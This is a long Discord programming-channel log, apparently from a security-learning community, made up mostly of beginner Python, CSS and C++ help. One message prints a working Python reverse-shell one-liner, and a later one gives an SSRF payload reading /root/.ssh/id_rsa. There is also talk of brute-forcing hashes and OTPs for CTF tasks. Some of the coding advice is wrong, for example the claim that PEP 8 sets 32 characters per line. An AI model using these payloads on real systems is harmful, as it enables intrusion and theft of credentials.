#programming
1 messages Β· Page 15 of 1
ssshh don't tell anyone
Secret channel. Secret channel not being secret.
any better place to learn java?
https://www.w3schools.com/
Hi @thin lynx , I like to read the official documentation, it's complete enough to learn how to code some interesting things
https://docs.oracle.com/javase/tutorial/java/index.html
And if you want to practice, a couple of months ago i found these pages :
https://www.hackerrank.com/domains/java and https://exercism.io/tracks/java
This beginner Java tutorial describes fundamentals of programming in the Java programming language
I personally like https://eloquentjavascript.net/ a lot
I'm stupid Apparently 
hah
only use java for minecraft
just because i have to
its ok, its like, if C had a ton of overhead, and you dropped it in syrup
bytecode is probably the most useful part of java

https://www.baeldung.com/get-started-with-java-series
this is one of the greatest programming resources I've found regardless of language
the docs are great, but personally I don't see how you can study through there. for me it's best used as an in-depth reference. also there's the jetbrains academy if you can pay for it, or if you have a student e-mail you can get it for free. you have theory, examples, exercises, and you choose from a list of projects to build as you learn, not in the end. it's really great.
These are my go-to sites for practicing programming (as of 01/12/20)
https://www.coderbyte.com
https://www.hackerrank.com
https://exercism.io/my/tracks/python
https://leetcode.com/
https://github.com/keon/algorithms
https://adventofcode.com/
https://www.topcoder.com/challenges/?pageIndex=1
https://projecteuler.net/
https://www.codewars.com/
Python is a clear and powerful object-oriented programming language with an elegant and easy-to-read syntax. It is ideal for prototyping and ad-hoc tasks, but also sees wide use in scientific computing, web development, and automation.
Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.
Improve your coding skills with our library of 300+ challenges and prepare for coding interviews with content from leading technology companies.
I prefer BSIO over LC http://binarysearch.com/
Master algorithms with others on binarysearch. Create a room, invite your friends, and race to finish the problem.
interesting
leetcode and hackerrank are mostly enough.
i started leetcode yesterday again with a new sessions
I am finding even easy problems medium. so my algo ds skill has dropped

why this channel ded?
π¦
probably everyone's hyped for aoc and not enough for programming right now
programming getting no love 
I'm doing almost exclusively programming right now
cause I have to π€·ββοΈ lol
me too.. i started security for fun but i am doing dev work for 4yrs now 
i don't now why i put that emoji
cause i love being dev
nice, it's a good background
yeah I will try to spent a year or so in cybersec to measure the lanscape. if I don't like it I will go back to being dev
well you can have good and bad experience in both fields I think
but it won't hurt towards finding what you like best
yeah exactly
are you freelancing?
nope. working in a company called Thoughtworks.
they have cybersec engg role and I have asked them to transfer me there
github released dark mode!!!
Make new repos
Make typo fix PRs on rimworld mods that I like
check out what people are doing
yes via PRs / Issues
Yes? https://utteranc.es/
github is twitter for hackers
GitHub as a forum
utterances is actually pretty gnarly
anybody working with RTC?
this is part programming part security problem i am having
i am not getting a decent resource to see if i have an CWE-798 (hardcoded credentials) for a webrtc server what are the impacts
it's an android/ios rect native app
anybody got any idea?
Have you seen this: @tepid cargo
https://attack.mitre.org/matrices/mobile/android/
https://attack.mitre.org/matrices/mobile/ios/
nope. didn't check that, doing that now .. wanted to particularly check the attack vectors of a webrtc server.
yeah so the syntax is wrong.
hmm how can i fix that?
message = first + ' [' + last + '] is a coder'
this should pring: John [Smith] is a coder
What version of python ends a statement with a ';' ?
lol yeah sorry
other lang habit.
but that is not wrong syntactically. Python supports semicolon as a separator. even though that is not needed most of the time.
>>> '5'+'3';
'53'
Yep sure
@magic falcon Hiya
Does anyone know what's up with intellij products' EAP (early access program)? I've heard that you can get the next version for free that way (even ultimate) but when I tried it it redirected me to their latest version. It does it right now: https://www.jetbrains.com/resources/eap/
So python supports ; as a new command on the same line
Now your statement does not include the right '', its thinking the last bit is a varible
Are you using python2 or 3? @lilac holly
For python 2
first = john
last = smith
msg = first + '[' + last + '] is a coder '
For python 3
first = john
last = smith
msg = f"{first} [ {last} ] is a coder"
I hope this helped :)
Python 3 uses something called "f" or "function" statements, any variable goes int {}.
should i ruin it
NOO pls. I just got it 
okie 
and don't downvote it 
i will leave it at that magic number
i mean u can if u don't like the answer lol

β€οΈ
Can you give a reference that explains correct usage? I don't see it in the Lexical Analysis nor can I find a PEP that supports the use of ';' in that way
So this is a python interpreter convention, not an actual part of the language.
Right, so it works, but it's considered a bad idiom
There's lots of things in the language that isn't considered Pythonic
Like functional programming stuff, Guido hates it π
basically yeah...but it comes in handy if you want to pop a reverse shell as a one-liner
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
uhm
how do i like
code them to ask q eustion
monke_fact = int(input( ' monke_fact '))
i want them to like type
what language is your code running in
python
i want the user to type like
!monke fact
and a fact will pop up
oh wait im pretty sure i got it now
ill send u the code rn hold up
just got this sweet haul from FB marketplace, so many projects...such little time
What would y'all make (besides a Pi-hole/plex server/retropi)
good thing we are all still sitting at home
is it good weather
it could predict high amounts of humidity too, now that I have a dehumidifer I should make it turn it on lol
never rained in my bedroom
when i say hyperlocal i mean it was probably only good for maybe 2 or 3 feet outside of the Pi lol
thx
@sharp coral How many do you have? I know there have been a few people who have gotten kubernetes clustered on a set of pis
whatβs that dashboard for bee?
A pihole @cursive orchid
ahh ty
Via VPN
How to create your own VPN using AWS, PiHole, and Unbound.
i have tried
I wrote a blog post on it
That post, no one
My real blog I spend months editing posts π
pretty interesting way to save money, but I like the concept the best
In total I have 3 zeros, 2 2B+, and 2 3B a k8 cluster is a good idea
bee are you using the default domain blocklists? those numbers are wild haha
Pretty much + REGEX mostly
My phone calls home A LOT
desktop vs phone
holy moly
sheesh you guys need to browse less spammy sites π
eh, a lot of my traffic gets run through a work VPN
im usually ~20% blocked
not my fault my intranet is horrifying
also the point of the pi hole is to go to spammy sites and not get blasted with the CDNs π
btw james ESP32's are some of the best kept secrets imo
theres a place near me that sells them for like $4 a pop with onboard wifi and bluetooth
curious to know whatcha working on tho π
Im gonna be making a smart photo frame, a pwnagatchi (legal version), arduino tomagatchi clones and a headless retropi station
pwnagatchi is the only thing I wont be giving away as presents
Why do you have to specify legal version of the pwnagatchi is there an illegal version?
de auth isnβt illegal by default
If it were then the WiFi pineapple would be illegal too which it isnβt
really? I though deauth was basically a form of DoS
If i walk past someones house with one of these and it deauths them from their network - denying them service - i would think thats illegal
DoS isnβt illegal either
In your example you are no longer just de authing you are doing it without permission which is then illegal the wording and permission is very specific and very important
time to petition my neighbors to sign a waiver allowing me to de-auth them
i understand tho, important distinction to be made
although I suppose I could also lab the regular version of the pwnagatchi and see how I can detect and prevent that sort of attack π€
Yes, it is. FCC prosecuted.
FCC is wack
can soemone help me correct this
is_hot = True
if is_hot:
print("It's a hot day today. ")
print("Enjoy your fresh lemonade drink!")
else:
print("it's a cold day! ")
print('Enjoy your day! ')
if is_hot:
print("It's a hot day today. ")
print("Enjoy your fresh lemonade drink!")
else:
print("it's a cold day! ")
print('Enjoy your day! ')```
missed indents
@lilac holly
oh indents matter?
a lot
they have to be indented or they wont be recognized as if or else( sry if im bad in explaining)
thanks thats really nice to know
nah nah ur good
whered u learn this coding? reccomend any free courses to expand my knowledge?
i had seen that course once
hack my pc? 
yup hes really helpful
how long have you been coding?
just started a day ago
π
goal is to code a discord bot

if it succeeds I might actually try and make a career out of this
i didnt learn python for bots or thingi
like i just was bored so leaned
me as a kid making a code which kids enjoy
like net scanner
nice
did u also start with mosh?
damn self taught nice
what do u use to code?
if that didnt make sense i mean like PyCharm Sublime Text Etc
what language you do?
u planning on learning anything else?
im still expermenting if that makes sense at all?
looking if theirs anything I have interest in
Morning
what are your favourite fonts for your editor/ide?
fira code
yep morning
how to use python for network hacking
You're gonna have to be a lot more specific :-)
yep you are right
@nimble canopy here is the programming channel
Appreciate it
Anyone up to speed on HTML and CSS? I haven't touched it in probably 15 years.
I have a simple html/css template I am editing. I need to replace the main header image, but apparently it's not an image at all...it's css. I'm sure it's an easy remove css code and insert html code, but I"m not having any luck.
https://github.com/startbootstrap/startbootstrap-one-page-wonder
I want to replace the hippy circle background with an actual image. It looks like they used CSS to create the background. I'm not sure how I could swap them out?
If it were that simple and I knew how to do that...I certainly would π
https://github.com/StartBootstrap/startbootstrap-one-page-wonder/blob/master/css/one-page-wonder.css
I believe that's the CSS, and it's not a simple background statement
it's using many header.masthead .bg-circle-"number" to create the header image
@nimble canopy The logical thing would be remove the circles, and set the header background in css to an image
Yeah I'm attempting that...no luck so far
Not having any luck yet...still take any help on replacing that header with an image and eliminating the circle crap
i am searching the qs
Any luck why this wouldn't work?
*/body{font-family:Lato}h1,h2,h3,h4,h5,h6{font-family:Catamaran;font-weight:800!important}.btn-xl{text-transform:uppercase;padding:1.5rem 3rem;font-size:.9rem;font-weight:700;letter-spacing:.1rem}.bg-black{background-color:#000!important}.rounded-pill{border-radius:5rem}.navbar-custom{padding-top:1rem;padding-bottom:1rem;background-color:rgba(0,0,0,.7)}.navbar-custom .navbar-brand{text-transform:uppercase;font-size:1rem;letter-spacing:.1rem;font-weight:700}.navbar-custom .navbar-nav .nav-item .nav-link{text-transform:uppercase;font-size:.8rem;font-weight:700;letter-spacing:.1rem}header.masthead{position:relative;overflow:hidden;padding-top:calc(7rem + 72px);padding-bottom:7rem;background-image: url(/img/01.jpg)}
That's horrifying
I think you missed the part I haven't done this in 10 years, hence the request for assistance lol
I just want a damn background CSS...why must you be so difficult!
π»
yeah, there's a non-mini version as well
im searching the answer
how can i make a web server with c++
Have you googled it?
i have
and thats the one that i gave up on :"<
Import a library, done
i already made the server client thingy
but i dont know how to make it online
beside buying a host....
I really really recommend NOT exposing whatever you made to the internet
Because people will try to break it
And they are likely to succeed
Test it on your LAN then
.....
Exposing your webserver to the internet isn't really a programming question
As someone who has machines directly connected to the internet, gathering data on attempted attacks, I really really really recommend not exposing it to the internet
sound dangerous .....
but how is it possible btw?
It's not a programming question smh
I'd rather you didn't
I've written a py script to upload file to ftp server.... the file is uploaded but it's not giving back the reverse shell
tried in advantcyber
Can someone help me with code? Its very simple but I got the error: list index out of range
The question is "calculate s[n] with n being the input of the user and s[0] = 0
You might wanna change the while to a for
Let me try
For x in range(n):
Doesnt work
def idk(n):
s=[0]
i = 0
for i in range (n):
temp = s[i] + 1
s[i+1].append(temp)
return s[n]
lmao=int(input("Enter n: "))
print(idk(lmao))
Im confused
Change the return s[n] line to just return s and see if the program runs
Iβd need to turn on my computer to properly try so Iβll do that when I wake up lmao
Haha thats alright. Thanks for your help 
initializetemp =""
rename the temp=s[] +iwith other name
Lemme try
the problm will just break and exit
You mean like this?
def idk(n):
s=[0]
i = 0
temp =""
for i in range (n):
temp = s[] + i
s[i+1].append(temp)
return s[n]
lmao=int(input("Enter n: "))
print(idk(lmao))
Nah idk
Try this:
s=[0]
i = 0
for i in range (n):
temp = s[i] + 1
s.append(temp)
return s[n]
lmao=int(input("Enter n: "))
print(idk(lmao))```
You tried to append something to the i+1 st element in s, but you actually want to append something to s
What your appending is now in the place s[i+1]
You're very welcome π
I know I'm late, but what are you trying to achieve? Have a list of all numbers up to the given int?
You can do that in one line
Output = list(range(1, Input+1))
hey there, i need some ideas to add in my discord bot . for now i have added features to send a random quote, a random meme, a random joke, send a random greeting message and to send dm to new memebers of a server.
i need to actually learn how to hack
You're in the right place π
I am working on a game I guess this is a start ef TABLE[y][i] {
-47
}
def TABLE[-0.46][j] {
if(protect(--bar(ROWS,( 0.53 / y )) / --360.47,( --( COLS ) * TABLE[-20][-( -betray(rule(ROWS)) ) / --0.74 + COLS] )) - -0.46){
( COLS );
-52
};
dog *= Stark
}
def TABLE[Hodor][j] {
if(-Ygritte){
if(COLS){
if(dog){
-TABLE[-99][bar(( COLS ),-( betray(destroy()) ))];
bar(y,-86,rule(( 0.53 )));
x /= TABLE[-( -1 )][Arya]
};
dog
};
x += Jon;
y
} else {
Jon * Stark
}
}
assert bar(( ( foo(-TABLE[1][Stark],-ROWS,Ygritte) ) / ( -44 ) ) / ROWS / COLS,TABLE[45 / -15 * protect(COLS,-foo(( destroy() )))][-42 * mislead(mislead(),Arya)]) : "Nothing burns like the cold."
ok
You can also put the language on the first line and then it will do syntax highlighting
ok
my game is called the first women who walked on water
game should be done in a week
I'm trying to get a investment so I can get Robert Downey Jr on the game
I also want the home alone kid on the game as well
I also want roblox ceo to be on game to be the narrator
Eh and I might put george lucas on there I dont know yet
last but not least I want Julia Roberts to be the women who walked on water
good gods that code is completely unreadable o.O
They're no longer on the Discord.
They were banned for being incredibly rude to other users, and trolling.
It's actively obfuscated 
can someone help real quick
weight_lbs = int(input("Weight: "))
unit = input("L(bs) or K(kg): ")
if unit.upper() == "L":
converted = weight_lbs * 0.4
print(f"You are{converted} kilos")
it shows Weight:
i put in 120
just hold up
Use triple backticks for code
@lilac holly
i = 0
var = ""
while i <= 5:
var += '*'
i += 1
var += ' you'
print(var)
Not the most efficient way but it works π€·ββοΈ
But if you really wanted to make it the most efficient way:
print("***** you")
or if you wanted multiple iterations to be outputted:
i = 0
var = ""
while i <= 5:
print('*' * i, ' you')
i += 1
hey need a help
What do you need help with?
@true pumice want to go full efficiency?
Python2
x = 5
[print("*"*i + " you") for i in range(x)]
Python3
x = 5
[print(f"{'*'*i} you") for i in range(x)]
:)))
-1 unnecessary comp
hi guys
helo
Isn't print("***** you") more efficient
Oh, I thought he wanted to print out an ammount of * depending on a given int like 5 or 4 etc
what's the use of var i think it's unnecessary
thats because it is
print( '*' * 5, 'you') is ultra efficient
It's also a pythonic way to replicate the string. Doing concatenation in a loop is about the worst possible way to join strings.
Itβs not if youβre getting python to perform more calculations and processes
when your trying to make your code as efficient and little lines as you can 
You should pickup shell code π
You can fit whole scripts on one line using ; in python, it's just messy
Yeah, I sometimes use ; for assign variables and then doing something with them, but I try not to make the line super long
Its a balance between efficiency and messy
I believe PEP-8 standards are max 32 chars per line, I go a bit above that but not to much
Yeah but that is not PEP 8 standard
Yup, as I said, I try to keep it to PEP-8 standards, not all of the time
If it can be done on two lines, might as well tbh.
If I'm doing something that's a massive code block but it's repetitive e.g. fake cmd loading screens, I do it on one line because it looks like this:
os.system("cls"); print("loading..."); time.sleep(0.3); os.system("cls"); print("loading..."); time.sleep(0.3)
etc.
It's just flashy and unnecessary to block code imo
Yup
This:
for i in range(10):
print(i)
Vs this
[print(i) for i in range(10)]
Yep but I also mean the code you sent seems super complicated for what you're trying to achieve, you don't need to use such high-level python tools for that, eg. when you use if i % 2 you could simply use range(0, len(whatever), 2)
I'm not making a whole function for something I use once
but semicolons are not Pythonic, you can always make an anonymous function
You're using big words that I don't understand so it's going in one ear and out the other
Ah, true. Although, Im not really using much high level tools for this. Its just list comprehension and + - etc
but what I could have done in 25 lines, I squezed into ~7
modulus is faster and physically shorter than range, when you say mod 2 everyone knows you're looking for an even number. You could go one step further and say "x & 1" if you really wanted to make it shooortttttt
BEE
Yep true that ahah, anyway using operands instead pf python functions when available is always fasterr but I mean since the range function is already used there I think it's better to use it at full potential I might be wrong
Yep stick with what works lol and especially what best suits you, i was mistaken it would be range(1, len, 2) for i%2
ye
I tried using the datetime modual
but that got it the opposite kinda, like for example
if you worked from 12:00 --> 1:00
it would get 23 hours not 1 hour
that's because when you write if i%2 it outputs if 1 for even numbers or if 0 for odd numbers so your condition is do this if i is an odd number
iis that the one with an extremely NSFW channel
no
uh oh
Bee
oops
dont share discord invites
Ill dm you
What is your blog url
Computer Science Blog
Wait it channged?
I'm Moving
Mhm ik
I need Bee's hack life
Whoops
I wrote that subconsciously
I meant I need Bee's python tutorials
Rust > Python > Go ??
Python > Go > * > Rust
Rust is very nice
I have assaulted bee
Do you guys have resources for learning TypeScript?
Looks like the question was already asked on reddit, maybe some off theses answers might help :P
Thanks but that is already the kind of information I already read, actually one of my CS teacher told me that I'd rather just learn TS right away rather than starting with JS (he's not really experienced in neither of those), so I'm wondering is there ressources to learn TypeScript from the basics of JS or do I jave to learn JS and then TS?
hmm
Typescript is basically just stricter Javascript.
I would probably start with JS first
But you can learn TS just you would need to learn more syntax
Yep thatβs why I was wondering if there are resources that directly teach both or that the way to do it is learn JS then TS
Yeah of course
It's at the wrong indentation
For a start
Second, I'd advise not putting the return inside the try block
Purely because there are more tests to do on it
have a look at https://www.w3schools.com/python/gloss_python_indentation.asp π
I would love to know why w3schools has a python section, but meh
Oh, I suppose they do PHP as well
Must deal with setting up Django or something
w3schools cover a lot of programming language
Talk about diversification smh
yup
try:
r = requests.get(url, params={'s': thing})
except requests.exceptions.Timeout:
# Maybe set up for a retry, or continue in a retry loop
except requests.exceptions.TooManyRedirects:
# Tell the user their URL was bad and try a different one
except requests.exceptions.ConnectionError:
# Connection error
except requests.exceptions.RequestException as e:
# catastrophic error. bail.
raise SystemExit(e)
@somber current If you want specific things to happen depending on the error, you can use multiple excepts
Are you specifying the full file path or just file name
Have you tried with and without the file path
You probably need os or whatever to grab the actual file path
e.g.
dir_path = os.path.dirname(os.path.realpath(__file__))
curr_file = os.path.basename(__file__)
file = open(curr_file, 'r')
This opens the current python file
Is that in the curr dir?
do you save the file?
ah nvm
opening
and yes you need to use os to get the file path
Hello @everyone
Donβt try to ping everyone.
Does anyone know how to use Veil-Evasion?
okey
Yea what are you trying to use it for?
scala a good programming language?
depends, it used to be used for AI type programming but other languages took over
Not about Scala but a great article: https://norvig.com/21-days.html
Also you can find a trove of information in the SO's developer survey: https://insights.stackoverflow.com/survey/2020
Thanks
Dealing with raw Telnet protocols - This... Is a very strange protocol. Parrot the same thing back to it a bunch of times and it gives you what you want.
This is like if TCP wanted to be UDP
Guys? How can i repair it... Sry iam total beginer with python..
like to just write it once
minuty = int(input("VloΕΎ zbylΓ© minuty: "))
mzda = int(input("VloΕΎ kolik mΓ‘Ε‘ na hodinu: "))
datum = input("VloΕΎte datum: ")
minhod = minuty/60
koruny = "KΔ"
def log():
penΓze = (hodiny + minhod) * mzda
with open('prace.txt', 'a+') as f:
f.write(f"{penΓze, koruny, datum}\n")
f.close()
log()
log()```
in a codeblock?
i think problem is there: "with open('prace.txt', 'a+') as f:" but iam not sure
You call your log() function inside your log() function, also write your programs in english it will make it easier to work with others π
Iam sorry it was program for me to work bcs when i work 14 hours in kitchen iam tired and then i dont want to calculate... Btw thank you. Next time i will write it in English. β€οΈ
ok so im kind of confused
the tryhackme lessons show how to break in to the networks in the lessons correct ?
ΰΌΌ γ€ β_β ΰΌ½γ€
I am gonna use free code camp
legit just got into learning how to program any tips?
pick a language and stick to it until you are halfway decent, do a little most every day, try various sites that help you improve or find your own projects to write
ok thank you
A lot more than just that. There's content covering almost all of cyber security
so everyone in this vicinity are all hackers ?
now im al godd with hiding my identity and all
all good*
but this is some next level stuff
we are all ethical
Hiding your identity is easy; just don't have a presence on the internet ezpz
You have a presence on the internet even if you donβt think you do. Donβt be ignorant always understand your own opsec
Muir doesn't exist though.
Everyone except for muiri and Tim Taylor
Pro tip: Just live your life through a fake identity and no one will ever suspect anything
until your caught
so i dont get it if we are hackers what exactly are we persuing
if*, you're assuming that your identity is somehow associated with your previous identity which would be the only way they would catch you
A job? Usually a career in infosec
Knowledge and understanding really
In the mean time
what exactly is infosec
do you guys hack devices ?
because you guys,and girls seem to be pros
Information security
ok so information security
is there like money,or something exclusive
that we are exactly looking for
If that's what you're here for, I recommend you leave.
What are you looking for? Because this is the programming channel where we discuss programming
Drop into #infosec-general
ive always thought code is cool and i wanna get into it, how do i know its for me though?
you try it to see if you enjoy it or not.
It is, but it also encourages sloppiness :(
Even our next task is of python language
If you need help then feel free to ask
I have just completed python last week
Anyone got nice resources for x86 64?
I'm assuming you've already done the x86-64 room? there are also a few RE rooms that would be good too but there is this as well https://opensecuritytraining.info/IntroX86.html
Excuse me,
which programming language should I learn if I want to hash passwords and encypt them?
Most programming languages have hashing functions
Most programming languages have encryption functions
Don't encrypt passwords
python i guess
ok thank you both
Made a python script to automatically open the AoC day and connect to the openvpn when the day comes out. Any improvements or suggestions?
Will stop the vpn script when Cntrl C is detected or if openvpn fails
In your main() function you could use try...except..finally... only once, and except Exception as e: so you can handle displaying errors, I would use the os module instead of subprocess to run the script os.system(f"....."), you could add an if __name__ == "__main__": before your while loop at the end and also a try: ... except KeyboardInterrupt: ... in your while loop so you can actually handle the error that ctrl-c would raise and also the else True in go_time = ... is unnecessary
if __name__ == "__main__":
while True:
try:
if datetime.now(timezone.utc).hour == 4:
main(vpn_config)
break
except KeyboardInterrupt:
break
sys.exit(0)
So the true except, finally is for catching the Cntrl C, but yes the keyboard interrupt is probably a better way, name = main don't think is needed because your not going to import it is a modual and yeah that gotime was unnecessary.
I also used the try and except so that I could catch what error it was for VPN or browser etc
Thank you for the advice :P
Hello;
Hi!
May we help with anything or just came to see whats up in the channel? :P @dry bluff
I have a quick one, if i wanted to generate a password consisting of 7 digits and had to sha256 hash all of them until i found the start of one, which i knew the start to? Would it be as simple as that?
I'd use a rainbow tablw like crackstation in preference to doing it yourself
Oh you don't know the whole hash
Yeah I'd just do it in python
Just bear in mind you might not get the right answer
Yeah i was thinking about using a random table but only have the partial hash, Do you know how i would get my script to only print 7 digit numbers? at the minute i can only get them to start from 0?
ive just been very stupid if i start at 0000000? would that work?
I think you can generate them quite easily
If I didn't care about efficiency I'd just do 7 nested for loops
cheers il have a look
that should give you a working example
Ah cheers mate, thanks for doing the leg work for me π
all good, just play around with a loop over a range and the string padding. If you have further problems, paste some code.
thanks, will do
Thanks for the idea, I wanna put something like that in a room now
could probably do something around a room for generating good wordlists
that would probably actually make a good room, because i've been bitten in so many CTF challenges by forgetting to feed my wordlists properly
There was one
It was made private afaik
If you want the full details its for a SSH key i was given a un and IP and told to SSH in using brute force but password authentication is disabled so it wants me to generate then brute force the ssh key
Huh. Ok.
You can SSH into it with username "defender".
The SSH key is encrypted with a password.
Use brute-force to crack it:
- the password consists of 7 digits
- the SHA256 of the password string starts with E5D9D3A9C39
i hope thats what that means anyways
Right ok that makes more sense
I'd write two short python scripts
But be incredibly careful about newlines
Surely you could use a mask
Nvm just read that it starts with that
I'd also do what James said, using a nested loop also stops from duplicate numbers being used
So it would be something like
loop
loop
if sha1({1}{2}{3}...SSH etc = true break```
Nested for loops are nasty
Wdym?
yeah im just reading the previous advice about padding zeores atm
Oh intresting
But can you using padding
With multiple different numbers
Without using duplicates
good question, i have no idea
Only one i kinda see is https://tryhackme.com/room/hackernote
that seems like a readily parallelizable task as well
Yeah that's a super basic version
But there was a whole custom wordlist thing
Hi guys, so ive mananged to print the number 0000000-9999999 but the question is instead of printing that i want it to actually hash it using SHA256 from the hashlib? then print but i will output it to a file? any ideas?
while num < 9999999:
print str(num).zfill(7)
num += 1
π
Yeah python2 is dead and deader next month
no bro :)
i need help :)
cz i cannot understand where to start
i know c;and some python basic
where and how and which things i need to know for h@cking π¦
You don't need python for 90% of hacking.
Does anyone know why this happens in CSS?
img:hover
{
-ms-transform: scale(2, 2);
-webkit-transform: scale(2, 2);
transform: scale(2, 2);
}
figure {
text-align: center;
line-height: 0.1em;
padding: 1em;
margin: 5px; /* adjust as needed */
}
figure img {
vertical-align: top;
}
figure figcaption{
text-align: center;
}
It doesn't break to a newline, it repeats the text on the same line
Not sure but is it possible that it doesn't do that because the brace isn't spaced from figure figcaption
Ah it doesn't care about that π CSS is very free with that kind of thing π π
Any website or resources to learn web development?
My article
"3 Tips For Making a Popular Open Source Project in 2021 [Ultimate Guide]"
Is finished! 
Introduction I have around ~10k GitHub stars. Iβve come up with a bullet-pointed actionable list of how to make open-source projects popular.
One of the projects I created had 67 lines of code and had only existed for 3 days before it hit 1.7k stars.
Humans are predictable creatures when it comes to our attention. Iβll show you data-backed actio...
Oops no social card
The SEO on that post must be terrible, I'll have to fix it π
Learn your next career. Job guaranteed.
I'd say it because it's CSS and browsers don't tend to implement it properly to begin with
End me
what's up?
CSS
I'm sorry
https://css-tricks.com/ best online reference I've seen so far
I use it all the time when doing web stuff
there's a ton of useful guides for allmany of the tricky problems in CSS
although a lot of positioning issues can be solved by "use flexbox"
That's great thanks Hydra!!! β€οΈ
If You Know You KnowIf you're actually trying to figure out how to get started learning code, check out my other videos.1. How To Code A Bot:https://youtu.be...
Glad to be of some help
Hey I haven't copy-pasted out of stack overflow in a long long time. Though it is helpful for new and unfamiliar frameworks
:P
is there anybody that knows basic javascipt
But if I see someone copy pasting stuff I ask them what the code does in review
Ask your question, someone will likely answer
i wanted to know what a piece of code does
Ok
in otp verification, is the otp check done within the script or does it check with the database and find a match?
thats a big nono if otp is done inside the client side script LOL
At least any halfway decent dev would do it serverside
probably contacts a backend server to verify at least
The OTP is usually time based and with a unique key per user
Not sure how the code is generated though
I'll assume that the key is stored in the db somewhere
Though that might actually be interesting to get a hold of
if there was only one correct combination (4 numbers) and that leads to the admin account, can i verify the otp with a script?
depends on the actual algorith being used
I'll assume there are RFCs for the major formats
The idea behind an OTP (one time password) is that they are valid only once
typical totps are usually hmac with sha1 on a shared secret with time element with tolerance of around 30 seconds
some transformation and truncation is performed after
unless the otp is simply a randomly generated 4 digit sequence with unlimited tries, thats a pretty quick brute force
i can put a rate limit tho
You'll want a lockout after say 3 tries
ok thanks for the helpπ
The first RFC I linked has a reference implementation
i need help understanding what this php code does plz dm me
What PHP code?
Please do not ask for help with an active CTF. It's widely regarded as cheating. @latent jackal
they promptly left the server
anyone here try to get ktor working with graalVM before?
advent of code looks good
i normalyl do BSIO / CF but that first problem is actually a problem i love a lot
at least part 1 π
there's rankings, but it's pretty chill
There's also battlesnakes
Not competitive but fun ranking CP-like games
https://www.codingame.com/start
https://play.battlesnake.com/
https://edabit.com/challenges
alright time to see if my ssrf test will work...
bah works on dev but not on prod π¦
haha
whoo!
had to use a full-fledged minimal os though π¦
Not bad for a Java app π
and now sleep
Should see Day 24
i meant code π
smh. Can't use the same acronym twice!
https://www.coderbyte.com
https://adventofcode.com/
https://www.topcoder.com/challenges/?pageIndex=1
Surprised you didn't add advent of code :P
Improve your coding skills with our library of 300+ challenges and prepare for coding interviews with content from leading technology companies.
Theirs also one which combines malware / forensics with programming
I'm trying to remember what it is but am struggling
For hosting
Host, run, and code Python in the cloud: PythonAnywhere
Browser IDEs
Repl.it is a simple yet powerful online IDE, Editor, Compiler, Interpreter, and REPL. Code, compile, run, and host in 50+ programming languages: Clojure, Haskell, Kotlin, QBasic, Forth, LOLCODE, BrainF, Emoticon, Bloop, Unlambda, JavaScript, CoffeeScript, Scheme, APL, Lua, Python 2.7, Ruby, Roy, Python, Node.js, Deno (beta), Go, C++, C, C#, F#, ...
Does anyone know a command to change the IP on Windows?
Sounds like a google question to me
TIL Amazon has an IDE π€―
I thought cloud9 was a seperate cloud service from AWS
I wonder if they got acquired
It used to be iirc
amazon aquires a lot of things
Like your Windows machine?
or a VM?
damnit Java, why do you have to call your process output getInputStream
they did yes
CS50 uses Cloud9 for their assignments π https://ide.cs50.io/
hmm, I should probably make this room I'm making a LITTLE bit harder than this...
ah why not it'll be fun
hmm
^
Yeah they were acquired a while back
almost 5 years ago i wanna say
Tbf I donβt check whose room Iβm doing when I do it so I wonβt know itβs theirs
file:///root/.ssh/id_rsa
gg
neither blobby but π€·ββοΈ

Cash - Is this still for AoC2?
Yeah it is
did you try with " instead of '?
It's an error on the previous line π
It's because your using python2
Python 2 doesn't support f strings π
This makes no difference whatsoever :P
ah didn't see it was py2
yeah forgot i was using it. But i managed to do it lol
π
anyone plz recommend some great books for javascript
void addfront(struct list **head,std::string newdata)
{
list *add;
add = new list();
add->root= newdata;
add->lead= (*head);
(*head)= add;
}
can some one explain to me what the "head" does in this code?
can i dm you for that?
Please don't
or just post the rest here
I'm guessing this is a homework assignment?
no im just learning...
Ok, I'd recommend reading up about queues and how they're implemented then
Get the theoretical grounding first, work towards the implementation
oh i've read it but i dont get what the command does....
Looks like a FILO linked list. This is also not best practices to mix C and C++ in the way shown. It's legal, but instead of passing pointers to pointers, the AFAIK the preferred method is to pass a weak pointer or shared pointer instead.
@magic falcon can you tell me a bit more specific about this "weak pointer"?
i cant find it on google
looks more like a deque than a queue
convention usually capitalizes struct names as well, no? I haven't done any C in forever though
ah C++11
Managing handle life cycle can be really painful. The newer functionality makes it a lot simpler IMO
using reference counting it seems
for the weak pointer yes - it also has some thread-safe mechanics built into it. Helps to debug race conditions without seg faulting
new knowledge are always so intimidating
yeah ok, and you have to transform it to a shared_ptr to use it
which probably locks a mutex
it is a type of shared_ptr. You shouldn't need to cast or anything ,it inherits directly from shared_ptr
it does depend on the original object being a shared_ptr before being used though
It must be converted to std::shared_ptr in order to access the referenced object.
guys slow down :(( i have only started learning data structure for like 4 days....
example seems to say to lock the ptr, which returns the shared_ptr
so yeah looks like a mutex
well that's cute
last time I was doing any C++ work we were stuck on C++03
or even 98
so manual memory management which was a pain
IIRC its more like a semaphore - either its accessible or not. And yeah, you're right. It's been too long since I've been able to really play around with C++, the lock() function does return a shared_ptr created from the stored ptr object
RIAA is a godsend
sorry, RAII
it's a mutex to access the object, probably semaphore-like for memory management
gods it's been forever since OS class...
being able to scope dynamic memory and not have to worry about leaks was a godsend grading systems programming assignments
nothing like having to restart the grading VM for every other assignment
well, it's just harder to leak now
makes it easier to debug for sure
im lost...
and less likely to happen - i can only really remember leaks happening when the students forgot to block correctly
RAII is 'Resource Allocation Is Initialization'
Basically, C++ has made it easier to manage memory recently
so you should never really be using new and delete any more to allocate objects
implicit construction is bound to the enclosing block, so lifecycle is clearly bound and managed
the only thing i was told to use...
and ur saying i shouldnt use it...
from a style guide, I'd agree. it was introduced in C++11 though
with the new <memory> lib
Yeah but noone really used c++11 constructs for a while
Yeah
At least not in enterprise
isnt c++ is for base knowledge?
I'm saying that it is NOT considered a best-practice nor have I seen a modern style guide that prefers new/delete over RIAA
